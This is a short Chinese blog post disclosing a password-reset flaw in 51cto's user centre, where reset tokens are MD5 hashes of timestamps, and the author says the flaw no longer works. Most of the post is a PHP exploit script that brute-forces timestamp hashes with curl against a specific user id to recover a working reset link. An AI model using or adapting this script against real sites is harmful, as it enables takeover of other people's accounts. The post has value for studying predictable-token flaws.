这个任意密码修改已经发现一年多的时间了。 今天准备演示呢,结果拿出来测试的时候失效了。

 为何可以任意密码修改,如下

 http://ucenter.51cto.com/setpass.php?id=6330498&unid=0a35749ac3f8dc33c307e504448625fe

 这个是修改密码的链接

  存在漏洞时候的unid=0a35749ac3f8dc33c307e504448625fe这里的unid是时间戳之后md5加密的,只要我们知道用户的邮箱、就选择找回密码、猜解发送给用户的url、就可以修改密码了。

exp:

 

<?php
 echo time().'<br>';
                                                                                                                                         
 for($a=1;$a<=40;$a++){
     //获取当前时间戳加一 并且使用md5加密
     $b=md5(time()+$a);
     //初始化curl
     $ch = curl_init() ;
     //设置url路径 
     $url="http://ucenter.51cto.com/setpass.phpid=6330498&unid=$b";
     // 设置你需要抓取的URL
     curl_setopt($ch,CURLOPT_URL,"$url");
     // 返回结果,而不是输出它 1为返回结果 0为直接输出(不明白的请看http://0x007.blog.51cto.com/6330498/1226301 )
     curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
     //发送curl请求
     $result = curl_exec($ch);
     //字符串匹配
   if (stripos($result, '确认密码:')) {
     echo "ok"."<a href=$url tar>您的修改密码连接为</a>";
    }
         curl_close($ch);
}
?>


   一个逻辑漏洞而已, 任意密码修改的还有很多的例子、比如爆破验证码、比如找回密码的id可以替换他人的 、等等。